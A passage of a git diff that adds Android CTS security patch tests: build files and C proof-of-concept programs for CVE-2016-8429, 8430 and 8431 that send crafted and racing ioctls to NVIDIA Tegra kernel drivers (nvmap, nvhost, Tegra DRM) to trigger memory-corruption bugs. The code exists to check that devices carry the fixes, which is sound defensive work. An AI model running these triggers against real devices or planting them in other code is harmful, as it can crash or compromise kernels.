+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+int trigger_nvmap_create() {
+    g_allocation->handle = -1;
+    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
+    printf("[*] NVMAP_IOC_CREATE, last error = %d\n", errno);
+    return g_allocation->handle;
+}
+
+void trigger_nvmap_alloc(int handle) {
+    g_real_alloc.handle = handle;
+    ioctl(g_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
+    printf("[*] NVMAP_IOC_ALLOC, last error = %d\n", errno);
+}
+
+void trigger_nvmap_free(int handle) {
+    ioctl(g_fd, NVMAP_IOC_FREE, handle);
+    printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
+    }
+}
+
+void prepare_data() {
+    int i;
+    void* data = calloc(1, 0x1000);
+    
+    g_allocation = (struct nvmap_create_handle*)data;
+    g_allocation->size = 0x40;
+    
+    g_real_alloc.align = 0x40;
+    g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+    g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+    
+    g_op_list.handles = (__u64)(&g_handles_for_alloc[0]);
+    g_op_list.offsets = (__u64)calloc(1, MAX_HANDLE_NUM * 4);
+    g_op_list.sizes = (__u64)malloc(MAX_HANDLE_NUM * 4);
+    for (i = 0; i < MAX_HANDLE_NUM; ++i) {
+        ((int*)(g_op_list.sizes))[i] = 0xFFFF0000;
+    }
+    g_op_list.nr = MAX_HANDLE_NUM;
+    g_op_list.op = NVMAP_PAGES_RESERVE;
+}
+
+
+void create_handles() {
+    int i;
+    
+    for (i = 0; i < MAX_HANDLE_NUM; ++i) {
+        g_handles_for_alloc[i] = trigger_nvmap_create();
+    }
+
+}
+
+
+void trigger_rw_handle(int handle) {
+    ioctl(g_fd, NVMAP_IOC_RESERVE, &g_op_list);
+    printf("[*] NVMAP_IOC_RESERVE errno = %d\n", errno);
+}
+
+int main(int argc, char**argv) {
+    int i;
+    
+    if (open_driver() < 0) {
+        return -1;
+    }
+    
+    prepare_data();
+    create_handles();
+    
+    for (i = 0; i < MAX_HANDLE_NUM; ++i) {
+        trigger_nvmap_alloc(g_handles_for_alloc[i]);
+    }
+    
+    printf("[*] Begin to trigger bug....\n");
+    sleep(1);
+    
+    
+    for (i = 0; i < MAX_HANDLE_NUM; ++i) {
+        trigger_rw_handle(g_handles_for_alloc[i]);
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
new file mode 100644
index 0000000..21ad67a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8429
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8429/poc.c
new file mode 100644
index 0000000..293f617
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8429/poc.c
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
+#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
+#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_FROM_FD _IOWR(NVMAP_IOC_MAGIC, 16, struct nvmap_create_handle)
+int g_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+struct nvmap_create_handle* g_allocation = NULL;
+struct nvmap_create_handle g_allocation_dup;
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+void trigger_nvmap_create() {
+    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
+}
+
+void trigger_nvmap_create_dup(int fd) {
+    g_allocation_dup.fd = fd;
+    ioctl(g_fd, NVMAP_IOC_FROM_FD, &g_allocation_dup);
+}
+
+void trigger_nvmap_alloc() {
+    struct nvmap_alloc_handle alloc = {0};
+    alloc.align = 0x1000;
+    alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+    alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+    alloc.handle = g_allocation->handle;
+    ioctl(g_fd, NVMAP_IOC_ALLOC, &alloc);
+}
+
+void trigger_nvmap_free(int fd) {
+    ioctl(g_fd, NVMAP_IOC_FREE, fd);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+    }
+}
+
+void prepare_data() {
+    void* data = (void *) memalign(0x1000, 4 * 0x1000);
+    //void* data = malloc(0x10000);
+    printf("[*] data = %p\n", data);
+    g_allocation = (struct nvmap_create_handle*)data;
+    g_allocation->size = 1024;
+    g_allocation->handle = -1;
+    mprotect(data, 0x1000, PROT_READ);
+    printf("[*] mprotect, error = %d\n", errno);
+}
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-10, 2);
+    
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    
+    while (1)
+        close(1024);
+}
+
+int main(int argc, char**argv) {
+    
+    setup_privi_and_affinity(-10, 1);
+    
+    if (open_driver() < 0) {
+        return -1;
+    }
+    prepare_data();
+    
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    usleep(100 * 1000);
+    
+    pthread_cond_signal(&cond);
+    usleep(20);
+    while (1) {
+        trigger_nvmap_create();
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
new file mode 100644
index 0000000..5ea76d5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8430
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
new file mode 100644
index 0000000..0717d0b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+
+struct nvhost_channel_open_args {
+	__s32 channel_fd;
+};
+struct nvhost_set_error_notifier {
+	__u64 offset;
+	__u64 size;
+	__u32 mem;
+	__u32 padding;
+};
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN	\
+	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)
+#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
+	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+#define NVMAP_IOC_MAGIC 'N'
+
+/* Creates a new memory handle. On input, the argument is the size of the new
+ * handle; on return, the argument is the name of the new handle
+ */
+ #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+int g_fd = -1;
+int g_nvmap_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+int g_channel_fd = -1;
+struct nvhost_set_error_notifier g_error_notifier;
+struct nvmap_create_handle g_nvmap_hdl;
+
+struct nvmap_alloc_handle g_real_alloc = {0};
+
+int open_driver() {
+    char* dev_path = "/dev/nvhost-vic";
+    g_fd = open(dev_path, O_RDONLY);
+    if (g_fd < 0) {
+        printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+        return -1;
+    } else {
+        printf("open file(%s) succ!\n", dev_path);
+    }
+
+    dev_path = "/dev/nvmap";
+    g_nvmap_fd = open(dev_path, O_RDONLY);
+    if (g_nvmap_fd < 0) {
+        printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+        return -1;
+    } else {
+        printf("open file(%s) succ!\n", dev_path);
+    }
+    return 1;
+}
+
+void trigger_channel_open() {
+    struct nvhost_channel_open_args args = {-1};
+    ioctl(g_fd, NVHOST_IOCTL_CHANNEL_OPEN, &args);
+    g_channel_fd = args.channel_fd;
+}
+
+int trigger_nvmap_create() {
+    g_nvmap_hdl.size = 0x1000;
+    ioctl(g_nvmap_fd, NVMAP_IOC_CREATE, &g_nvmap_hdl);
+    return g_nvmap_hdl.handle;
+}
+
+void trigger_nvmap_free() {
+    int data = g_nvmap_hdl.handle;
+    ioctl(g_nvmap_fd, NVMAP_IOC_FREE, data);
+}
+void trigger_nvmap_alloc(int handle) {
+    g_real_alloc.align = 0x1000;
+    g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+    g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+    g_real_alloc.handle = handle;
+    ioctl(g_nvmap_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
+}
+void prepare_data() {
+    g_error_notifier.offset = 0;
+    g_error_notifier.mem = g_nvmap_hdl.handle;
+}
+
+void trigger_set_error_notifier() {
+    ioctl(g_fd, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &g_error_notifier);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+    }
+}
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        trigger_set_error_notifier();
+    }
+    return NULL;
+}
+
+void* race_thread_2(void* arg) {
+    setup_privi_and_affinity(-19, 1);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        trigger_set_error_notifier();
+    }
+    return NULL;
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(0, 1);
+    if (open_driver() < 0) {
+        return -1;
+    }
+    //trigger_nvmap_create();
+    trigger_nvmap_alloc(trigger_nvmap_create());
+    prepare_data();
+    //trigger_nvmap_free();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    pthread_create(&tid, NULL, race_thread_2, NULL);
+    usleep(100 * 1000);
+    pthread_cond_broadcast(&cond);
+
+    sleep(100);
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
new file mode 100644
index 0000000..7000aad
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8431
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h b/hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h
new file mode 100644
index 0000000..c74db80
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8431/local_poc.h
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __LOCAL_POC_H__
+#define __LOCAL_POC_H__
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_TEGRA_GEM_CREATE		0x00
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SUBMIT		0x08
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+struct drm_tegra_cmdbuf {
+	__u32 handle;
+	__u32 offset;
+	__u32 words;
+	__u32 pad;
+};
+
+struct host1x_waitchk {
+	struct host1x_bo *bo;
+	__u32 offset;
+	__u32 syncpt_id;
+	__u32 thresh;
+};
+
+struct drm_tegra_waitchk {
+	__u32 handle;
+	__u32 offset;
+	__u32 syncpt;
+	__u32 thresh;
+};
+
+struct drm_tegra_submit {
+	__u64 context;
+	__u32 num_syncpts;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 waitchk_mask;
+	__u32 timeout;
+	__u64 syncpts;
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 waitchks;
+	__u32 fence;		/* Return value */
+	__u32 reserved0;
+	__u64 fences;
+	__u32 reserved1[2];	/* future expansion */
+};
+
+struct drm_tegra_gem_create {
+	__u64 size;
+	__u32 flags;
+	__u32 handle;
+};
+
+struct drm_gem_close {
+	__u32 handle;
+	__u32 pad;
+};
+
+struct drm_mode_map_dumb {
+	__u32 handle;
+	__u32 pad;
+	__u64 offset;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)       _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOW(nr,type)		_IOW(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
+#define DRM_IOCTL_TEGRA_GEM_CREATE DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GEM_CREATE, struct drm_tegra_gem_create)
+#define DRM_IOCTL_GEM_CLOSE		DRM_IOW (0x09, struct drm_gem_close)
+#define DRM_IOCTL_MODE_MAP_DUMB    DRM_IOWR(0xB3, struct drm_mode_map_dumb)
+
+struct drm_tegra_syncpt {
+	__u32 id;
+	__u32 incrs;
+};
+
+struct list_head {
+	struct list_head *next, *prev;
+};
+
+struct kobject {
+	const char			*name;
+	struct list_head	entry;
+	struct kobject		*parent;
+	void	*kset;
+	void	*ktype;
+	void	*sd;
+	unsigned long refcount;
+	unsigned int state_initialized:1;
+	unsigned int state_in_sysfs:1;
+	unsigned int state_add_uevent_sent:1;
+	unsigned int state_remove_uevent_sent:1;
+	unsigned int uevent_suppress:1;
+};
+
+struct device {
+	struct device	*parent;
+	void	*p;
+	void*	pad0[8];
+	char	*init_name; 
+	void	*type;
+	void*	pad1[5];
+	void	*bus;
+	void	*driver;
+	void	*platform_data;
+	void	*driver_data;
+};
+
+struct host1x_info {
+	int	nb_channels;		
+	int	nb_pts;
+	int	nb_bases;
+	int	nb_mlocks;
+	int	(*init)(void *);
+	int	sync_offset;
+};
+
+struct host1x_syncpt_ops {
+	void (*restore)(void *syncpt);
+	void (*restore_wait_base)(void *syncpt);
+	void (*load_wait_base)(void *syncpt);
+	__u32 (*load)(void *syncpt);
+	int (*cpu_incr)(void *syncpt);
+	int (*patch_wait)(void *syncpt, void *patch_addr);
+};
+
+struct host1x {
+	struct host1x_info *info;
+	void	*regs;
+	void	*syncpt;
+	void	*bases;
+	struct device *dev;
+	void	*clk;
+	void	*clk_actmon;
+	void*	pad[5];
+	void	*intr_wq;
+	int intr_syncpt_irq;
+	int intr_general_irq;
+	__u32 intstatus;
+	void (*host_isr[32])(__u32, void *);
+	void *host_isr_priv[32];
+	struct host1x_syncpt_ops *syncpt_op;
+	void	*intr_op;
+	void	*channel_op;
+	void	*cdma_op;
+	void	*cdma_pb_op;
+	void	*actmon_op;
+	void	*debug_op;
+};
+
+struct host1x_client {
+	struct list_head list;
+	void *parent;
+	struct device *dev;
+	void *ops;
+};
+
+struct tegra_drm_client_ops {
+	void* open_channel;
+	void* close_channel; 
+	void* reset;
+	void* is_add_reg;
+	void* submit;
+};
+
+struct tegra_drm_client {
+	unsigned char pad[232];
+	struct list_head list;
+	struct tegra_drm_client_ops *ops;
+};
+
+struct tegra_drm_context {
+	struct tegra_drm_client *client;
+	void *channel;
+	struct list_head list;
+};
+
+struct drm_tegra_reloc {
+	struct {
+		__u32 handle;
+		__u32 offset;
+	} cmdbuf;
+	struct {
+		__u32 handle;
+		__u32 offset;
+	} target;
+	__u32 shift;
+	__u32 pad;
+};
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8431/poc.c
new file mode 100644
index 0000000..1cc0f29
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8431/poc.c
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <stdio.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+
+#include "local_poc.h"
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))
+
+#define DEV "/dev/dri/renderD129"
+#define CMD_NUM		1
+
+int dev_fd;
+
+volatile struct drm_tegra_open_channel	open_c;
+volatile struct drm_tegra_submit		submit_c;
+volatile struct drm_tegra_gem_create	gem_create;
+
+struct drm_tegra_cmdbuf		cmdbufs[CMD_NUM];
+struct drm_tegra_syncpt		syncpt;
+struct drm_tegra_reloc		relocs[CMD_NUM];
+
+static int prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+	submit_c.num_syncpts = 1;
+	submit_c.syncpts = (__u64)&syncpt;	
+	submit_c.num_cmdbufs = CMD_NUM;
+	submit_c.cmdbufs = (__u64)cmdbufs;
+	submit_c.num_relocs = CMD_NUM;
+	submit_c.relocs = (__u64)relocs;
+	gem_create.size = PAGE_SIZE;
